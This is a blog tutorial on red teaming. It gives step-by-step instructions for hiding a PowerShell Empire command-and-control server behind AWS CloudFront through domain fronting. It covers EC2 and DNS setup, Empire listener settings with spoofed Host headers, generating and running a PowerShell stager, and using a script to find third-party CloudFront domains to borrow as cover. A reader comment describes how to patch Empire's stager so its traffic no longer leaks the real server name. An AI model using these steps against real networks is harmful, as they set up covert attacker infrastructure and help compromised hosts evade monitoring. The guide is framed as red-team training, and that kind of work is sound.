Jun 27 2018
1 Comment
By spartan2194 How to red team, Red Teaming, Tools

How to red team: Domain fronting with Powershell Empire and CloudFront

Domain fronting is a new a technique to obfuscate the intended destination of HTTP(S) traffic. This allows attackers to circumvent security controls by masking the intended destination with “trusted” domains. In this blog post, I will setup AWS’s CloudFront CDN service to mask the destination of my Empire TeamServer.

DISCLAIMER

The information contained in this blog post is for educational purposes ONLY! HoldMyBeerSecurity.com/HoldMyBeer.xyz and its authors DO NOT hold any responsibility for any misuse or damage of the information provided in blog posts, discussions, activities, or exercises. 

DISCLAIMER

What is domain fronting?

As stated in the Red-Team-Infrastructure-Wiki, “In a nutshell, traffic uses the DNS and SNI name of the trusted service provider, Google is used in the example below. When the traffic is received by the Edge Server (ex: located at gmail.com), the packet is forwarded to the Origin Server (ex: phish.appspot.com) specified in the packet’s Host header. Depending on the service provider, the Origin Server will either directly forward traffic to a specified domain, which we’ll point to our team server, or a proxy app will be required to perform the final hop forwarding.”

Network diagram

Create AWS resources

Create EC2 Empire teamserver

  1. Select “EC2” from the list of services
  2. Select “Launch instance”
  3. Step 1: Choose an Amazon Machine Image (AMI)
    1. Select “Ubuntu Server 16.04 LTS (HVM), SSD Volume Type”
  4. Step 2: Choose an Instance Type
    1. Select “t2.medium”
    2. Select “Configure Instance Details”
  5. Step 3: Configure Instance Details
    1. Select “default” for network
    2. Select “No preference” for  Subnet
    3. Select “Enable” for “Auto-assign Public IP”
    4. Select “Next: Add storage”
  6. Step 4: Add Storage
    1. Enter “20” for “Size (GiB)”
    2. Select “Add tags”
  7. Step 5: Add tags
    1. Select “Add tag”
    2. Enter “Name” for key
    3. Enter “Redteam-teamserver” for value
    4. Select “Configure Security Group”
  8. Step 6: Configure Security Group
    1. Enter “Redteam-teamserver” for security group name
    2. For the SSH rule enter YOUR public IP for source
      1. My school has public IP range which I will use
    3. Select “Add rule”
      1. Set type to “HTTP”
      2. Enter “0.0.0.0/0” for source
    4. Select “Review and Launch”
  9. Step 7: Review Instance Launch
    1. Select Launch
    2. For the Key pair select “existing key pair” or “new key pair”
      1. Select “Launch instance”
  10. Select “View instances”
  11. Wait for new instance to initialize completely
    1. The “Status checks” column should be “2/2 checks passed”
  12. Copy the “IPv4 Public IP” for the new instance

Create CloudFront instance

  1. Select “CloudFront” from AWS services
  2. Select “Create Distribution”
  3. Select “Get started” under “Web” for delivery method
  4. Origin settings
    1. Enter “empire.hackinglab.beer” for Origin Domain Name
    2. Select “HTTP and HTTPS” for Viewer Protocol Policy
  5. Default Cache Behavior Settings
    1. Select “GET, HEAD, OPTIONS, PUT, POST, PATCH, DELETE”  for Allowed HTTP Methods
    2. Select “All” for Forwarding Cookies
    3. Select “Forward all, cache based on all” for Query String Forwarding and Caching
  6. Select “Create distribution”
    1. The creation of this resource may take up to 20 mins.

Setup/Configure domains via Namecheap

This guide assumes you already have domains purchased. You DO NOT have to use Namecheap but it is my registrar of choice :). I will be using the domain “hackinglab.beer” for my teamserver.

Hackinglab.beer – teamserver

  1. Log into Namecheap.com
  2. Select “Domain list” on the left
  3. Select “Manage” by the domain you wish to configure
  4. Select “Advance DNS” tab at the top
  5. Select “Add new record”
    1. Select “A record” for type
    2. Enter “empire” for host
    3. Enter “<EC2 public IP addr for Empire teamserver>” for value
    4. Select the check mark to save record

Testing CDN

  1. ssh [email protected]
  2. cd /tmp
  3. echo “<html><p>hello world</p></html>” > hello
  4. sudo python -m SimpleHTTPServer 80
  5. curl http://d0.awsstatic.com/hello –header ‘Host: <CloudFront domain name>’
    1. Look at the photo above to find the location of the domain name

Install/Setup Empire

  1. ssh [email protected]
  2. sudo apt update -y && sudo apt upgrade -y
  3. git clone https://github.com/EmpireProject/Empire.git
  4. cd Empire
  5. sudo ./setup/install.sh
  6. ./empire

Create listener

  1. listeners
  2. uselistener http
    1. set Name awsDF
    2. set Host http://d0.awsstatic.com:80
    3. set DefaultProfile /admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko|Host: <CloudFront domain name>
  3. execute  
  4. back

Generate Powershell Stager

  1. usestager multi/launcher awsDF
  2. execute

Detonate Powershell stager

  1. Boot up a Windows VM
  2. Open a Powershell prompt
  3. Paste Powershell stager from above and hit enter

Hammer time

So let’s take domain fronting to the NEXT NEXT level. We will use a scrip created by rvrsh3ll to find domains that are utilizing CloudFront. This will allow us to utilize these domains as legitimate “destinations” for our traffic. This activity may be considering illegal so proceed with caution and only proceed if you have PERMISSION.

Rvrsh3ll – FindFrontableDomains

  1. git clone https://github.com/rvrsh3ll/FindFrontableDomains.git
  2. pip install -r requirements
  3. ./setup.sh
  4. python FindFrontableDomains.py –alexa 10000 –threads 20

Testing domain

  1. Select a domain that utilizes CloudFront
    1. Using a domain without authorization may be illegal, proceed with caution.
  2. curl http://<Domain using CloudFront>/hello –header ‘Host: <CloudFront domain name>’

Create Empire Listener

  1. Enter “exit” into Empire
  2. ./setup/reset.sh
  3. ./emire
  4. listeners
  5. uselistener http
    1. set Name awsDF
    2. set Host http://<Domain using CloudFront>:80
    3. set DefaultProfile /admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko|Host: <CloudFrontable domain name>
  6. execute
  7. back

Generate Powershell stager

  1. usestager multi/launcher awsDF
  2. execute
  3. Copy contents of stager

Detonate Powershell stager

  1. Boot up a Windows VM
  2. Open a Powershell prompt
  3. Paste Powershell stager from above and hit enter

DISCLAIMER

The information contained in this blog post is for educational purposes ONLY! HoldMyBeerSecurity.com/HoldMyBeer.xyz and its authors DO NOT hold any responsibility for any misuse or damage of the information provided in blog posts, discussions, activities, or exercises. 

DISCLAIMER

Resources/Sources

Tagged

One thought on “How to red team: Domain fronting with Powershell Empire and CloudFront”

  1. MIS Team says:
    January 21, 2019 at 9:10 am

    May be U know (may be not), but Empire has some vulns or mistakes with domain fronting. Therefor any advanced IPS and threat-intell systems can easy detect your originating domain.

    U can fire wireshark and look to SSL traffic (exactly at Server Name Extension field of ssl-hello packet). So U cat see that this field is set to your originating domain, but no cloudfront or something else.
    This is because some factors:
    1) Empire send wrong pacjet at staging
    Main idea is correct – establish connection to fronted domain and then DO NOT RESET tcp connection and use it for connect to your original domain. Main problem is that if first connection goes to AWS cloudfront. Then AWS gives 403 http code and .net framework reset tcp connection. So the second web request from empire will establish new tcp connection with your domain SNI.
    To mitigate this U have to connect to specific URL of fronting domain so response will be 200 or 404 (no 403, 502 or some else). To od this – U heve to modify first empire stager…

    2) domain fronting is not supported in PS agent (I suppose – they forgot add DF support in agent)
    U have to modify empire ps1 agent to add support for domain fronting as it is in stager…

    Reply

Leave a Reply

Your email address will not be published. Required fields are marked *